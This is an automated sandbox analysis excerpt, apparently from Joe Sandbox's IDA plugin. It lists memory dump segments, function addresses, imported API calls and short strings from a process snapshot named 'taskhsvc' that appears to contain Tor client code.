Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001DE526, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 160

APIs

abort.MSVCRT ref: 001DE588
abort.MSVCRT ref: 001DE5C7
abort.MSVCRT ref: 001DE60E
abort.MSVCRT ref: 001DE655

Part of subcall function 001DCFB4: __stack_chk_fail.LIBSSP-0 ref: 001DCFE5

Part of subcall function 001DC6F2: __stack_chk_fail.LIBSSP-0 ref: 001DC728

abort.MSVCRT ref: 001DE730
__stack_chk_fail.LIBSSP-0 ref: 001DE7A0

Part of subcall function 00211618: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001DE759), ref: 0021166F
Part of subcall function 00211618: __stack_chk_fail.LIBSSP-0(?), ref: 002116CD

Part of subcall function 002EAE33: abort.MSVCRT ref: 002EAE8A
Part of subcall function 002EAE33: abort.MSVCRT ref: 002EAECC
Part of subcall function 002EAE33: __stack_chk_fail.LIBSSP-0 ref: 002EAFEA

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

`LA, xrefs: 001DE718
3A, xrefs: 001DE710

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C63F3, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 121

APIs

Part of subcall function 002CE121: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C6409), ref: 002CE1A2

event_active.LIBEVENT-2-0-5 ref: 001C6458
time.MSVCRT ref: 001C648C

Part of subcall function 0032545C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001CA788), ref: 00325486

Part of subcall function 003EC2B0: abort.MSVCRT ref: 003EC2FD
Part of subcall function 003EC2B0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1AEF), ref: 003EC312

event_base_loop.LIBEVENT-2-0-5 ref: 001C64B2
__stack_chk_fail.LIBSSP-0 ref: 001C65E4

Part of subcall function 0031910D: __stack_chk_fail.LIBSSP-0 ref: 00319194

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 0031985E: __stack_chk_fail.LIBSSP-0 ref: 00319A18

Part of subcall function 0031919B: strerror.MSVCRT ref: 003191ED
Part of subcall function 0031919B: __stack_chk_fail.LIBSSP-0 ref: 003191FD

Part of subcall function 003EC319: event_base_get_method.LIBEVENT-2-0-5 ref: 003EC331
Part of subcall function 003EC319: __stack_chk_fail.LIBSSP-0 ref: 003EC341

Strings

@, xrefs: 001C65A5
4', xrefs: 001C653C
c, xrefs: 001C657B
../src/or/main.c, xrefs: 001C6557

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C2FDB, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 119

APIs

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 001C3000

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001C16C0: abort.MSVCRT ref: 001C172A
Part of subcall function 001C16C0: __stack_chk_fail.LIBSSP-0 ref: 001C173D

Part of subcall function 001EA631: __stack_chk_fail.LIBSSP-0 ref: 001EA800

Part of subcall function 0031985E: __stack_chk_fail.LIBSSP-0 ref: 00319A18

time.MSVCRT ref: 001C31A4

Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4826
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4871
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F48BC
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4AD9
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4B41
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4B88
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4BDA
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4D10
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4D63
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4DF6
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4E47
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4EF1
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4F37
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4F96
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F4FE8
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F5076
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F50CD
Part of subcall function 001F47D0: abort.MSVCRT ref: 001F5636
Part of subcall function 001F47D0: __stack_chk_fail.LIBSSP-0 ref: 001F565A

__stack_chk_fail.LIBSSP-0 ref: 001C31D5

Part of subcall function 001C2D88: __stack_chk_fail.LIBSSP-0 ref: 001C2DFB

Part of subcall function 001E8CDE: __stack_chk_fail.LIBSSP-0 ref: 001E8DE1

Part of subcall function 00206E53: abort.MSVCRT(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EA5
Part of subcall function 00206E53: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C35A2), ref: 00206EB6

Part of subcall function 00206E23: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,001C3569), ref: 00206E4C

Strings

conn, xrefs: 001C2FE0
../src/or/main.c, xrefs: 001C30E3, 001C317A
@, xrefs: 001C30FF
h&\, xrefs: 001C31B8
4@, xrefs: 001C3037

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00273787, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 202

APIs

abort.MSVCRT ref: 002737EC
abort.MSVCRT ref: 0027382B

Part of subcall function 0026D20C: __stack_chk_fail.LIBSSP-0 ref: 0026D242

abort.MSVCRT ref: 0027387B

Part of subcall function 002772C1: time.MSVCRT ref: 002772DE
Part of subcall function 002772C1: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002738B0), ref: 00277320
Part of subcall function 002772C1: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,002738B0), ref: 00277346

Part of subcall function 0026D198: __stack_chk_fail.LIBSSP-0 ref: 0026D1CB

abort.MSVCRT ref: 0027395E

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

memcpy.MSVCRT ref: 002739F6

Part of subcall function 00270AE8: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00273A06), ref: 00270B3F
Part of subcall function 00270AE8: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00273A06), ref: 00270B74

__stack_chk_fail.LIBSSP-0 ref: 00273AAC

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

hID, xrefs: 00273A3A

Memory Dump Source

Source File: 00000013.00000002.1855138358.00267000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00333FC6, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 165

APIs

abort.MSVCRT ref: 00334024

Part of subcall function 0031663E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001DBB06), ref: 0031666A

abort.MSVCRT ref: 0033407F
abort.MSVCRT ref: 003340C1
abort.MSVCRT ref: 0033411F

Part of subcall function 00333BFD: abort.MSVCRT ref: 00333C50
Part of subcall function 00333BFD: abort.MSVCRT ref: 00333CED
Part of subcall function 00333BFD: abort.MSVCRT ref: 00333D40
Part of subcall function 00333BFD: __stack_chk_fail.LIBSSP-0 ref: 00333D71

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 003341E9

Part of subcall function 00333BC0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00333D00), ref: 00333BF6

__stack_chk_fail.LIBSSP-0 ref: 0033422C

Strings

d0G, xrefs: 0033405F

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00229D8C, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 138

APIs

strcmp.MSVCRT ref: 00229E0E
free.MSVCRT ref: 00229E9F

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

free.MSVCRT ref: 00229E60

Part of subcall function 003278F5: abort.MSVCRT ref: 00327945
Part of subcall function 003278F5: __stack_chk_fail.LIBSSP-0 ref: 00327960

Part of subcall function 00317D3D: free.MSVCRT ref: 00317D98
Part of subcall function 00317D3D: __stack_chk_fail.LIBSSP-0 ref: 00317DAB

strcmp.MSVCRT ref: 00229ED1
__stack_chk_fail.LIBSSP-0 ref: 00229F66

Part of subcall function 00229AAB: __stack_chk_fail.LIBSSP-0 ref: 00229B28

Part of subcall function 0032587B: _stati64.MSVCRT ref: 00325913
Part of subcall function 0032587B: free.MSVCRT ref: 0032592C
Part of subcall function 0032587B: __stack_chk_fail.LIBSSP-0 ref: 003259BE

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Strings

--ignore-missing-torrc, xrefs: 00229DD6
--defaults-torrc, xrefs: 00229DC1

Memory Dump Source

Source File: 00000013.00000002.1855077166.00228000.00000040.sdmp, Offset: 001C0000, based on PE: true

